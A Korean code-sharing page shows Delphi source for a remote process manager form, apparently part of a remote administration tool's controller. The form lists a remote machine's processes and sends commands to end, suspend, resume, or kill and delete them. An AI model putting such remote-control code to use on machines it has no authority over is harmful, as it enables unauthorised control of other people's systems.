delphi의 원격 프로세스 관리 클래스 모듈
unit UnitProcessManager;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ScktComp, StdCtrls, Spin, umSFPack,zlib,ImageHLP,
UnitFileTransfer,Menus, ImgList, ToolWin, ComCtrls , Jpeg, DateUtils,
ClipBrd, UnitSharedData, shellapi,CommCtrl, UnitThumbDb;
type
TProcessManager = class(TForm)
ListView1: TListView;
StatusBar1: TStatusBar;
PopupMenu1: TPopupMenu;
Refresh1: TMenuItem;
N1: TMenuItem;
End1: TMenuItem;
EndAndDelete1: TMenuItem;
N3: TMenuItem;
Pause1: TMenuItem;
Resume1: TMenuItem;
ImageList1: TImageList;
Timer1: TTimer;
UpdateSpeed1: TMenuItem;
High1: TMenuItem;
Normal1: TMenuItem;
Low1: TMenuItem;
Paused1: TMenuItem;
Timer2: TTimer;
procedure Refresh1Click(Sender: TObject);
procedure ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
procedure ListView1CustomDrawSubItem(Sender: TCustomListView;
Item: TListItem; SubItem: Integer; State: TCustomDrawState;
var DefaultDraw: Boolean);
procedure Timer1Timer(Sender: TObject);
procedure High1Click(Sender: TObject);
procedure Normal1Click(Sender: TObject);
procedure Low1Click(Sender: TObject);
procedure Paused1Click(Sender: TObject);
procedure ListView1DblClick(Sender: TObject);
procedure End1Click(Sender: TObject);
procedure EndAndDelete1Click(Sender: TObject);
procedure Pause1Click(Sender: TObject);
procedure Resume1Click(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ListView1ColumnClick(Sender: TObject; Column: TListColumn);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
FirstRun: bool;
function FindProcess(Pid: string): TListItem;
procedure ClickTheColumn;
public
{ Public declarations }
MyPid: string;
Group,Computer,User: string;
MainSocket: TCustomWinSocket;
NewSocket: TCustomWinSocket;
SocketData: TSocketData;
procedure ParseData(Socket: TCustomWinSocket; Data: string);
procedure SetUpConnection(Socket: TCustomWinSocket);
end;
var
ProcessManager: TProcessManager;
LastSortedColumn: TListColumn;
Ascending: boolean;
FileSizeList: TStringList;
implementation
uses UnitModuleManager;
{$R *.dfm}
procedure SendData(Socket: TCustomWinSocket; Data: string);
begin
UnitSharedData.SendData(Socket,'ProcessManager|' + Data);
end;
procedure DisconnectProc(Socket: TCustomWinSocket);
var
SocketData: TSocketData;
begin
SocketData := TSocketData(Socket.Data);
if TProcessManager(SocketData.Form).NewSocket = nil then exit;
TProcessManager(SocketData.Form).Timer2.Enabled := True;
TProcessManager(SocketData.Form).NewSocket := nil;
if ModuleManager.NewSocket = Socket then ModuleManager.NewSocket := nil;
TProcessManager(SocketData.Form).Caption := TProcessManager(SocketData.Form).Caption + ' - [Offline]';
end;
procedure TProcessManager.SetUpConnection(Socket: TCustomWinSocket);
var
SocketData: TSocketData;
begin
SocketData := TSocketData(Socket.Data);
SocketData.DisconnectProc := @DisconnectProc;
Timer2.Enabled := False;
Caption := Copy(Caption,1,Length(Caption) -12);
FirstRun := True;
senddata(NewSocket,'ProcessList');
end;
function TProcessManager.FindProcess(Pid: string): TListItem;
var
i: integer;
begin
Result := nil;
for i := Listview1.Items.Count -1 downto 0 do begin
Application.ProcessMessages;
if Listview1.Items[i].SubItems[0] = Pid then begin
Result := Listview1.Items[i];
Exit;
end;
end;
end;
procedure TProcessManager.ParseData(Socket: TCustomWinSocket; Data: string);
var
Command: string;
Stream: TMemoryStream;
Li: TListItem;
Tmp: string;
p,i: integer;
Strings: TStringList;
StringList: TStringList;
MemSize: int64;
MemSizeStr: string;
begin
Command := Split(Data,'|',1);
Delete(Data,1,Length(Command)+1);
if Command = 'ProcessList' then begin
MyPid := Split(Data,'|',1);
Delete(Data,1,Length(MyPid)+1);
Strings := TStringList.Create;
StringList := TStringList.Create;
Strings.Text := Data;
Listview1.Items.BeginUpdate;
for i := 0 to Strings.Count -1 do begin
Application.ProcessMessages;
Li := FindProcess(Split(Strings.Strings[i], '|', 2));
if Li = nil then begin
Li := Listview1.Items.Add;
Li.Caption := extractfilename(Split(Strings.Strings[i], '|', 1));
Li.SubItems.Add(Split(Strings.Strings[i], '|', 2));
Li.SubItems.Add(extractfilepath(Split(Strings.Strings[i], '|', 3)));
Li.SubItems.Add(Split(Strings.Strings[i], '|', 4));
Li.SubItems.Add(split(Strings.Strings[i], '|', 5));
MemSizeStr := Split(Strings.Strings[i],'|',6);
if MemSizeStr = '' then begin
Li.SubItems.Add('');
Li.OverlayIndex := FileSizeList.Add('0');
end else begin
MemSize := StrToInt64(MemSizeStr);
MemSizeStr := FileSizeToStr(MemSize);
Li.SubItems.Add(MemSizeStr);
Li.OverlayIndex := FileSizeList.Add(MemSizeStr);
end;
Li.SubItems.Add(Split(Strings.Strings[i], '|', 7));
if FirstRun then Li.StateIndex := 0 else Li.StateIndex := 1;
end else begin
Application.ProcessMessages;
Li.StateIndex := 0;
MemSizeStr := Split(Strings.Strings[i],'|',6);
if MemSizeStr = '' then begin
FileSizeList.Strings[Li.OverlayIndex] := '0';
end else begin
MemSize := StrToInt64(MemSizeStr);
MemSizeStr := FileSizeToStr(MemSize);
FileSizeList.Strings[Li.OverlayIndex] := inttostr(MemSize);
end;
if Li.SubItems[3] <> split(Strings.Strings[i], '|', 5) then Li.SubItems[3] := split(Strings.Strings[i], '|', 5);
if Li.SubItems[4] <> MemSizeStr then Li.SubItems[4] := MemSizeStr;//split(Strings.Strings[i], '|', 6) then Li.SubItems[4] := Split(Strings.Strings[i], '|', 6);
end;
StringList.Add(Li.SubItems[0]);
end;
//Listview1.Items.EndUpdate;
Strings.Free;
for i := Listview1.Items.Count -1 downto 0 do begin
Application.ProcessMessages;
if Listview1.Items[i].StateIndex = 2 then begin
Listview1.Items[i].Delete;
Continue;
end;
p := StringList.IndexOf(Listview1.Items[i].SubItems[0]);
if p = -1 then Listview1.Items[i].StateIndex := 2;
end;
StringList.Free;
FirstRun := False;
ClickTheColumn;
Listview1.Items.EndUpdate;
Timer1.Enabled := True;
end;
if Command = 'ModuleList' then begin
Strings := TStringList.Create;
StringList := TStringList.Create;
Strings.Text := Data;
for i := 0 to Strings.Count -1 do begin
Application.ProcessMessages;
if lowercase(ExtractFileName(Strings.Strings[i])) = ModuleManager.ExeName then Continue;
Li := ModuleManager.ListView1.FindCaption(0,ExtractFileName(Strings.Strings[i]),False,True,False);
if Li = nil then begin
Li := ModuleManager.Listview1.Items.Add;
Li.Caption := ExtractFileName(Strings.Strings[i]);
Li.SubItems.Add(ExtractFilePath(Strings.Strings[i]));
if ModuleManager.FirstRun then Li.StateIndex := 0 else Li.StateIndex := 1;
end else begin
Li.StateIndex := 0;
end;
StringList.Add(Li.Caption);
end;
Strings.Free;
for i := ModuleManager.Listview1.Items.Count -1 downto 0 do begin
Application.ProcessMessages;
if ModuleManager.Listview1.Items[i].StateIndex = 2 then begin
ModuleManager.Listview1.Items[i].Delete;
Continue;
end;
p := StringList.IndexOf(ModuleManager.Listview1.Items[i].Caption);
if p = -1 then ModuleManager.Listview1.Items[i].StateIndex := 2;
end;
StringList.Free;
ModuleManager.FirstRun := False;
ModuleManager.Timer1.Enabled := True;
end;
end;
procedure TProcessManager.Refresh1Click(Sender: TObject);
begin
senddata(NewSocket,'ProcessList');
end;
procedure TProcessManager.ListView1CustomDrawItem(Sender: TCustomListView;
Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
begin
//Listview1.Canvas.Brush.Color := $F7F7F7;
if Item.StateIndex = 0 then Listview1.Canvas.Brush.Color := $F7F7F7;
if Item.StateIndex = 1 then Listview1.Canvas.Brush.Color := clGreen;
if Item.StateIndex = 2 then Listview1.Canvas.Brush.Color := ClRed;
if Item.SubItems.Count = 0 then exit;
if Item.SubItems[0] = MyPid then Listview1.Canvas.Font.Color := clRed
else Listview1.Canvas.Font.Color := clBlack;
end;
procedure TProcessManager.ListView1CustomDrawSubItem(
Sender: TCustomListView; Item: TListItem; SubItem: Integer;
State: TCustomDrawState; var DefaultDraw: Boolean);
begin
if Item.StateIndex = 0 then Listview1.Canvas.Brush.Color := clWhite;
if Item.StateIndex = 1 then Listview1.Canvas.Brush.Color := clGreen;
if Item.StateIndex = 2 then Listview1.Canvas.Brush.Color := ClRed;
if Item.SubItems[0] = MyPid then Listview1.Canvas.Font.Color := clRed
else Listview1.Canvas.Font.Color := clBlack;
end;
procedure TProcessManager.Timer1Timer(Sender: TObject);
begin
if NewSocket = nil then exit;
if Paused1.Checked then exit;
Refresh1.Click;
Timer1.Enabled := False;
end;
procedure TProcessManager.High1Click(Sender: TObject);
begin
High1.Checked := True;
Normal1.Checked := False;
Low1.Checked := False;
Paused1.Checked := False;
Timer1.Interval := 500;
end;
procedure TProcessManager.Normal1Click(Sender: TObject);
begin
High1.Checked := False;
Normal1.Checked := True;
Low1.Checked := False;
Paused1.Checked := False;
Timer1.Interval := 2000;
end;
procedure TProcessManager.Low1Click(Sender: TObject);
begin
High1.Checked := False;
Normal1.Checked := False;
Low1.Checked := True;
Paused1.Checked := False;
Timer1.Interval := 4000;
end;
procedure TProcessManager.Paused1Click(Sender: TObject);
begin
High1.Checked := False;
Normal1.Checked := False;
Low1.Checked := False;
Paused1.Checked := True;
Timer1.Interval := 1000;
end;
procedure TProcessManager.ListView1DblClick(Sender: TObject);
begin
if not assigned(listview1.Selected) then exit;
ModuleManager.FirstRun := True;
ModuleManager.Pid := Listview1.Selected.SubItems[0];
ModuleManager.ExeName := lowercase(Listview1.Selected.Caption);
ModuleManager.NewSocket := NewSocket;
ModuleManager.StatusBar1.SimpleText := 'Process: ' + ModuleManager.ExeName + ' Pid:' + ModuleManager.Pid;
SendData(NewSocket,'ModuleList|' + Listview1.Selected.SubItems[0]);
ModuleManager.Show;
end;
procedure TProcessManager.End1Click(Sender: TObject);
var
i: integer;
begin
for i := 0 to Listview1.Items.Count -1 do begin
if not listview1.Items[i].Selected then continue;
SendData(NewSocket,'End|' + Listview1.Items[i].SubItems[0]);
end;
end;
procedure TProcessManager.EndAndDelete1Click(Sender: TObject);
var
i: integer;
begin
for i := 0 to Listview1.Items.Count -1 do begin
if not listview1.Items[i].Selected then continue;
SendData(NewSocket,'EndDelete|' + Listview1.Items[i].SubItems[0]);
end;
end;
procedure TProcessManager.Pause1Click(Sender: TObject);
var
i: integer;
begin
for i := 0 to Listview1.Items.Count -1 do begin
if not listview1.Items[i].Selected then continue;
SendData(NewSocket,'Suspend|' + Listview1.Items[i].SubItems[0]);
end;
end;
procedure TProcessManager.Resume1Click(Sender: TObject);
var
i: integer;
begin
for i := 0 to Listview1.Items.Count -1 do begin
if not listview1.Items[i].Selected then continue;
SendData(NewSocket,'Resume|' + Listview1.Items[i].SubItems[0]);
end;
end;
procedure TProcessManager.Timer2Timer(Sender: TObject);
var
NewSocketData: TSocketData;
Li: TListItem;
begin
Li := GetListItem(Group,Computer,User);
if Li = nil then exit;
if Li.Data = nil then exit;
NewSocketData := TSocketData(Li.Data);
if NewSocketData.MainSocket = nil then exit;
UnitSharedData.SendData(NewSocketData.MainSocket,'NewConnection|ProcessManagerSocket|' + inttostr(Self.Handle));
end;
procedure TProcessManager.FormClose(Sender: TObject;
var Action: TCloseAction);
var
TmpSocket: TCustomWinSocket;
begin
Action := caFree;
if FileSizeList <> nil then FreeAndNil(FileSizeList);
try
TmpSocket := NewSocket;
NewSocket := nil;
if TmpSocket <> nil then TmpSocket.Close;
except
end;
end;
function SortByColumn(Item1, Item2: TListItem; Data: integer): integer; stdcall;
var
n1,n2: int64;
s1,s2: string;
ex1,ex2: extended;
num: integer;
Date1,Date2: TDateTime;
begin
if (LastSortedColumn.Caption = 'Pid') or
(LastSortedColumn.Caption = 'Threads') or
(LastSortedColumn.Caption = 'Memory') or
(LastSortedColumn.Caption = 'Created') then begin
if LastSortedColumn.Caption = 'Pid' then begin
n1 := StrToIntDef(Item1.SubItems[0],0);
n2 := StrToIntDef(Item2.SubItems[0],0);
end;
if LastSortedColumn.Caption = 'Threads' then begin
n1 := StrToIntDef(Item1.SubItems[3],0);
n2 := StrToIntDef(Item2.SubItems[3],0);
end;
if LastSortedColumn.Caption = 'Memory' then begin
n1 := StrToIntDef(FileSizeList.Strings[Item1.OverlayIndex],0);//StrToIntDef(Item1.SubItems[4],0);
n2 := StrToIntDef(FileSizeList.Strings[Item2.OverlayIndex],0);//StrToIntDef(Item2.SubItems[4],0);
end;
if LastSortedColumn.Caption = 'Created' then begin
try
Date1 := StrToDateTime(Item1.SubItems[5]);
except
end;
try
Date2 := StrToDateTime(Item2.SubItems[5]);
except
end;
Result := CompareDateTime(Date1,Date2);
if not Ascending then Result := - Result;
exit;
end;
if (n1 = n2) then Result := 0 else if (n1 > n2) then Result := 1 else Result := -1;
end else begin
Result := 0;
if Data = 0 then Result := AnsiCompareText(Item1.Caption, Item2.Caption)
else Result := AnsiCompareText(Item1.SubItems[Data-1],Item2.SubItems[Data-1]);
end;
if not Ascending then Result := -Result;
end;
procedure TProcessManager.ListView1ColumnClick(Sender: TObject; Column: TListColumn);
var
i: integer;
begin
Ascending := not Ascending;
if Column <> LastSortedColumn then Ascending := not Ascending;
for i := 0 to Listview1.Columns.Count -1 do Listview1.Column[i].ImageIndex := -1;
if Ascending then Column.ImageIndex := 6 else Column.ImageIndex := 5;
LastSortedColumn := Column;
Listview1.CustomSort(@SortByColumn, LastSortedColumn.Index);
end;
procedure TProcessManager.ClickTheColumn;
begin
if LastSortedColumn = nil then exit;
Listview1.CustomSort(@SortByColumn, LastSortedColumn.Index);
end;
procedure TProcessManager.FormCreate(Sender: TObject);
begin
Ascending := True;
LastSortedColumn := nil;
Listview1.DoubleBuffered := True;
FileSizeList := TStringList.Create;
end;
end.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
자바스크립트로 타이머 만들기JavaScript와 HTML만 사용하여 간단한 타이머를 만들어 보겠습니다. 먼저 인터페이스를 만들고 HTML만 사용하여 간단한 작업을 수행합니다. HTML 구조에서 시간 정보를 표시하기 위해 일부span가 생성되었...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.